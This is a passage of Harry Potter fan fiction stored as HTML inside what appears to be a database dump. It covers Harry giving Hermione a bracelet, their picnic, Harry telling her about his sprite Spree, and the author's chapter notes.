&quot;I\'ll be right back.&nbsp; I\nleft a book I need for reference upstairs.&quot; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nnodded, and when she was out of sight said again, &quot;Spree?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry!&quot;&nbsp; Spree said appearing suddenly beside him,\nslightly out of breath, &quot;Sorry I\'ve been gone for so long!&nbsp; There was this thing going on at home...ANYWAY\nI\'m reaaaaaaaally sorry.&quot; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsmiled, &quot;That\'s alright.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree\nflopped down in a pile beside his quill, &quot;Phew!&nbsp; I didn\'t realise how fast time had gone.&nbsp; It seemed really short and then I realised\nhow long I was gone and I thought you might worry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nbit his lip, &quot;I was a little worried.&quot; he admitted, &quot;But that\'s\nalright now.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree\nsat up, &quot;So!&nbsp; Have you asked her\nyet?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nshook his head and looked to where he could hear Hermione coming downstairs,\n&quot;No I was just going to.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ll\nleave you two alone.&quot;&nbsp; Spree said,\nwinking and disappearing quickly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Got\nit!&quot;&nbsp; Hermione said, plomping down\nagain, &quot;Nearly woke Ginny up though.&nbsp;\nAnd you know how she gets if you wake her up!&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They\nlaughed at this.&nbsp; Ginny was well known\nfor her lack of tolerance to anyone who woke her up before 7am or after she\nfell asleep at night.&nbsp; Anyone who dared\nto usually didn\'t walk away in one piece.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\ntripped over something on the floor and went crashing into the door.&quot;&nbsp; Hermione explained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ngrinned, &quot;Hey I was wondering...do you want to go and sit outside for a\nlittle while.&nbsp; Just on the balcony I\nmean.&nbsp; I could use a bit of a\nbreak.&quot; he said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nnodded, &quot;Okay.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nstood up and extended his hand to her, blushing a little Hermione took it and\nhe gently guided her around the table to him.&nbsp;\nHarry pulled her towards the door leading to the balcony, not letting go\nof her hand. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s\nso beautiful tonight.&quot;&nbsp; Hermione\nbreathed happily, looking up at the stars which seemed to be glowing brightly\ntonight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nnodded, but his attention wasn\'t on the sky or the stars. but was fixed firmly\non Hermione&#8217;s eyes, &quot;Hermione...&quot;&nbsp;\nHarry said taking her other hand in his grasp as well and pulling her to\nface him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes?&quot;&nbsp; she asked, her voice quiet and light, with a\ntouch of excitement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione\nyou are the most beautiful person I know.&nbsp;\nEveryday your beauty astounds me and everyday I love you more.&nbsp; I keep thinking that when I wake up that my\nlove for you will just stop growing and everyday it amazes me that I love you\nmore.&quot;&nbsp; Harry said, resting his\nforehead against hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nfelt her eyes filling a little, not with sadness but with happiness,\n&quot;Harry I-&quot; she started but was quieted by Harry placing his hand over\nher mouth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m\nnot finished love.&nbsp; There\'s a reason for\nthis talk of ours.&nbsp; I feel like you\'ve\nknown me forever.&nbsp; You know almost\neverything there is to know about me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\nshould think so.&nbsp; I\'m your best\nfriend!&quot;&nbsp; Hermione interrupted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsmiled, &quot;And so much more.&nbsp; There\nare only a few things that you don\'t know about me and I\'d tell you every one\nof them except now is not the time.&nbsp; But\nwhat it is the time for is...Hermione...I know a lot of people think we\'re too\nyoung for this...and I know that I\'m not ready for more than what we have\nbut...but everyday I can\'t help but feel even more under your spell...and I\nwant to give you this.&quot;&nbsp; Harry said\npulling a small box out of his pocket.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ngave him an inquisitive look and gasped as she opened it.&nbsp; Inside was a small gold bracelet, each\nlittle link was in the shape of a heart and at the top was a large heart that\nhad \'Together Forever\' written in cursive through it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione...this\nbracelet I want it to symbolise our love for each other.&nbsp; For my love for you...we\'re far too young to\nbe engaged or anything of that sort...but I know, deep down, that we\'ll be\ntogether forever and nothing will ever change that.&quot;&nbsp; Harry said, his voice serious and his eyes\nbrimming with raw emotion.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry\nit\'s gorgeous!&quot;&nbsp; Hermione said,\n&quot;I love it.&nbsp; And I love you.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsmiled and gently closed the clasp of the bracelet, letting it rest against her\nwrist, &quot;And I love you.&quot; he said, &quot;We haven\'t spent nearly\nenough time together and it\'s killing me.&nbsp;\nI want to be with you forever.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ngently moved his head down to place a soft kiss on her lips which Hermione,\nwrapping her arms around his neck, returned.&nbsp;\nA whistle coming from behind them made them draw back blushing.&nbsp; Pressed up against the glass doors to the\nbalcony was Seamus, Dean, Ron, Neville, Lavender, Parvati and numerous other\nGryffindors, save Ginny as no one wanted to wake her up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nand Hermione both blushed but just smiled and kept their arms wrapped around\neach other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Were\nyou there the whole time?&quot;&nbsp; Harry\nasked, a little more than embarrassed at getting caught just when he was\nsharing his emotions.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;The\nWHOLE time.&quot;&nbsp; Ron said with a wink.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nblushed and gently turned so Harry&#8217;s arms went around her waist.&nbsp; Harry smiled and gently put a kiss on the\ntop of her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And\nhere I was thinking you just wanted me to get a good sleep.&quot;&nbsp; Ron teased, &quot;But you just wanted to get\nrid of me!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everyone\nlaughed at Harry&#8217;s expression of confusion and embarrassment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So\nit all went well then?&quot;&nbsp; Spree\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nnodded, &quot;It was perfect...until the others showed up.&nbsp; That was so embarrassing.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree\ngiggled, &quot;It sounds funny!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nmade a face, &quot;So when can I tell Hermione about you?&quot; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree\nhesitated, &quot;Are you sure she\'ll believe you?&nbsp; Because I can only been seen if she believes.&quot; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nnodded, &quot;She will!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree\nsighed, &quot;If you really want to tell her it\'s up to you.&nbsp; She\'ll be able to see me from then on though\nand that means I can\'t help you with your homework anymore.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsmiled and put his hands behind his head, &quot;Ah that\'s alright.&nbsp; You haven\'t really been doing it anymore\njust giving me helpful hints.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree\nnodded, &quot;But I won\'t be able to do that.&nbsp;\nYou know Hermione wouldn\'t approve.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nnodded, &quot;That\'s a sacrifice I\'ll have to make,&#8221; he said, over\ndramatically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree\nshook her head in amusement, &quot;Oh go to sleep lover boy,&#8221; she said, pulling\nout her nail file.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Do\nyou carry that with you EVERYWHERE?&quot;&nbsp;\nHarry asked watching her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Of\ncourse.&quot;&nbsp; Spree said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nshook his head, &quot;I don\'t understand why.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And\nyou never will because your a BOY.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey\nthere.&quot;&nbsp; Hermione said smiling at\nHarry as he came down the stairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;G-morning\nhoney.&quot;&nbsp; Harry said, rubbing sleep\nfrom his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So\nwhat have you got planned for today?&quot;&nbsp;\nHermione asked, resting her head on her hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nyawned and sat down beside her planting a kiss on her cheek, &quot;Oh\nwell...um...I thought I\'d try and do some more of my DADA assignment...it\'s a\nkiller.&nbsp; And then I thought, if you\nweren\'t too busy, maybe we could go for a picnic?&quot;&nbsp; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsmiled, &quot;I\'d love that.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sucking\nup to her again?&quot;&nbsp; Ron teased from\nhis seat across the room, looking a little tired himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\ndon\'t need to suck up.&quot;&nbsp; Harry\nsaid, cheekily, &quot;I\'m on cloud nine.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron\nrolled his eyes and many of the girls in the room awed loudly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nblushed slightly and gave him a small kiss on the lips, &quot;You are so sweet.&quot;\nshe said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsmiled, as he noticed that the bracelet was still fixed around her wrist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ll\nnever take it off,&#8221; she said, noting where his gaze was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsmiled and gave her another kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s\ntoo early for this!&quot;&nbsp; Ron moaned\nthrowing a cushion at them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nlaughed and gave Hermione another peck before standing up and saying,\n&quot;Well I\'m going to go have a short shower and then I guess I\'ll get stuck\ninto that assignment...can\'t wait.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nlaughed and waved him away, &quot;Go on then.&nbsp;\nI\'ll catch you later.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nlet out a sigh as the hot water flowed over his body.&nbsp; Three guesses who his thoughts were on. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'Hermione...\'\nHarry thought as he turned off the shower and grabbed his towel, which was\nhanging from a hook outside the shower and quickly wrapped it around his waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nshook his head, and watched with a little amusement as water went flying and\nsplashed the mirror (&quot;Watch it!&quot;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwent up to the mirror and surveyed his hair as he quickly ran a comb through it\nin an attempt to get it to lie a little flatter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ve\nwatched you try this everyday for years dear.&quot;&nbsp; The mirror said, it\'s voice amused, &quot;And it never\nworks.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nlaughed, &quot;I can still try can\'t I?&quot; he asked as he gave up and got\ndressed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Alright\nso I decided on what two creatures I\'m doing.&quot;&nbsp; Harry said sitting down beside Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\nmean you hadn\'t decided yet?&quot;&nbsp;\nHermione asked, her voice a little shrill.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nbit his lip, &quot;Well...I couldn\'t decide.&nbsp;\nAnd I finally decided last night.&quot; he said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsighed loudly, &quot;Well what did you decide on then?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsat back in his chair, &quot;I decided I\'d do phoenixes and dragons.&quot; he said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Wow\nHarry...they\'re complicated.&nbsp; But I have\nto admit they\'re good.&nbsp; What\'s the\nconnection you\'re using?&quot;&nbsp; Hermione\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;They\nboth can fly.&quot;&nbsp; Harry said a little\nsheepishly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nlaughed loudly, &quot;I\'m sure you\'ll find SOMETHING more connectable than that\nbut for now I guess it\'s good enough.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwinked at her, &quot;Well I think I\'ll go grab some books on phoenixes and\nstart collecting information on them.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ngave patted his hand, &quot;I\'m sure it\'ll turn out great.&quot; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So\nHermione are we still up for that picnic?&quot;&nbsp; Harry asked a couple of hours later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nnodded, &quot;Of course.&nbsp; If you still\nwant to have one that is.&quot; she added.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Of\ncourse I do love.&nbsp; I get to spend time\nwith you and that\'s enough for me.&quot;&nbsp;\nHarry said nuzzling her neck a little.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ngiggled, &quot;You\'re the sweetest person ever.&quot;&nbsp; She said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsmiled and kissed her softly on the lips, &quot;Only around you.&quot; he said,\n&quot;I love you.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">ALRIGHT\nTHAT\'S CHAPTER 2!&nbsp; Not as long I know\nbut more fluffy for moonlight and midnight, Angel, Ducksrule and Leah in\nparticular! I hope everyone enjoyed that more!!&nbsp; And for m4x and elf-princess I\'ve made this chapter with only a\nlittle Spree!&nbsp; So I hope that everyone\nenjoyed that!!!&nbsp; Next chapter: Harry and\nHermione&#8217;s picnic and Harry tells Hermione about Spree.&nbsp; Will the two get along?? Find out!! And the\nmore reviews I get the faster I\'ll get the chapter out!! So tell me what you\nthink with a nice REVIEW *hint hint* and don&#8217;t flame me plz.&nbsp; I don&#8217;t like flames :( constructive\ncriticism is okay but not flames.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(136, 3, '\n\n\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Disclaimer: I don\'t\nown these people alright? I only own Spree!!</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Author Note:&nbsp; Well the last chapter seemed to be a few\npeoples favourites.&nbsp; Full of H/H\ngoodness!!&nbsp; Thanks to everyone who\nreviewed.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chapter 3</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry picked up the\npicnic basket and groaned slightly under the weight, &quot;By the amount they\npacked you\'d think we were an army.&quot;&nbsp;\nhe joked.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Hermione laughed,\n&quot;Well with the amount you and Ron eat I\'m not suprised.&quot; she said\npoking him in the stomach.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry and Hermione\nwere walking hand in hand, looking for the perfect place on the grounds for a\nnice quiet picnic.&nbsp; Harry, spotting a\nnice little shady spot under a tree, gently tugged on Hermiones hand and walked\nover to the spot and set down the basket.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;It\'s such a\nbeautiful day.&quot;&nbsp; Hermione said\nhelping Harry spread out the blue and white check picnic blanket over the\ngrass.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry smiled and\nnodded, &quot;It\'s the perfect day for a picnic with the most beautiful girl on\nthe planet.&quot; he said kissing Hermiones hand.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Hermione giggled a\nlittle and smiled, &quot;So are you hungry?&quot; she asked.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harrys stomach\nrumbled, answering her question before Harry could, &quot;Ehh...a\nlittle.&quot;&nbsp; Harry said , ignoring\nHermione who was laughing at him.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry gestured to the\nsmooth blanket, &quot;Care for a seat milady?&quot; </p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Why thank you\ngood sir.&quot;&nbsp; Hermione said sitting\ndown, &quot;This was such a wonderful idea.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry grinned and sat\ndown opposite her, &quot;Let\'s eat!&quot; he said and opened the basket,\npulling out goodies galore.&nbsp;\nSandwhiches, chips, salads, candy, cake and other assortments of healthy\nand sugary goodies.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Oh Harry today\nhas been great.&quot;&nbsp; Hermione said,\nletting her head rest against his chest.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry wrapped his\narms around her waist and let his head rest on her shoulder.&nbsp; They\'d finished lunch hours ago and now had\ntaken to sitting under the shade of the willow tree, staring out over the lake\nand watching the squid gently propell itself backwards and forwards.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Hermione...last\nnight...do you remember what I said?&quot;&nbsp;\nHarry asked after a moment of silence.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Of course I\nremember!&nbsp; I\'ll never forget it!&nbsp; It was the most romantic thing I\'ve ever\nheard.&quot;&nbsp; Hermione sighed happily.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry grinned a\nlittle, &quot;Yeah...well remember when I said that there were only a few\nthings you didn\'t know about me...well I think now\'s the time to tell you some\nof them.&quot;&nbsp; Harry said, his voice\nserious again.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Harry I really\ndon\'t know what it is that I don\'t know about you.&nbsp; I mean you two tell me everything and anything you don\'t tell me\nI already now.&quot;&nbsp; Hermione said,\nsounding a little smug.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry laughed,\n&quot;Yes...that\'s true in most cases but not in this case.&nbsp; You see...I don\'t really know how to say\nthis without you thinking I\'ve lost my mind...&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">This got Hermiones\nattention.&nbsp; She pulled out of his arms\nand turned so she was facing him, &quot;Harry?&quot; she asked, a little\nconcerned.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Don\'t sound so\nworried love.&quot;&nbsp; Harry said,\nstroking her hand, &quot;It\'s nothing bad.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Hermione let out a\nsigh of relief, &quot;Then what is it?&quot; she asked, a little curious.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Well...alright...I\nhave this...I mean...there\'s this sprite that is like....mine...except I don\'t\nown her or anything!&nbsp; I just...well\nyeah...her names Spree.&nbsp; And I wanted to\ntell you...about her that is...and she said that you can only see her if you\nbelieve.&quot;&nbsp; Harry said, realising he\nsounded a tad insane he added, &quot;I\'m not insane.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Hermione bit her lip\nto hold back laughter, &quot;A sprite?&quot; she asked a little disbelievingly.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Fine don\'t\nbelieve me.&quot;&nbsp; Harry said, folding\nhis arms and sulking a bit.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Harry.&nbsp; I do believe you!&nbsp; Honestly.&nbsp; But a\nsprite?&nbsp; Why do you have a sprite?&quot;&nbsp; Hermoine asked.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry shrugged,\n&quot;I don\'t know.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;So where is\nshe?&quot;&nbsp; Hermione asked looking\naround, &quot;Is she here?&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry shook his head,\n&quot;No.&nbsp; I wanted to tell you without\nher being here.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Hermione nodded,\n&quot;Well I\'d like to meet this Spree.&quot; </p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry smiled widely\nat her, &quot;Really?&nbsp; You mean\nit?&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Hermione laughed at\nhis display, &quot;Of course I mean it silly! &nbsp;I\'ve never seen a sprite before.&nbsp;\nWhat\'s she like?&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry made a face,\n&quot;She\'s...unlike anything I\'ve ever met before...she\'s a real\ncharacter.&nbsp; Can I ask you a\nquestion?&quot;&nbsp; Harry asked.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Hermione nodded.</p>\n\n<p 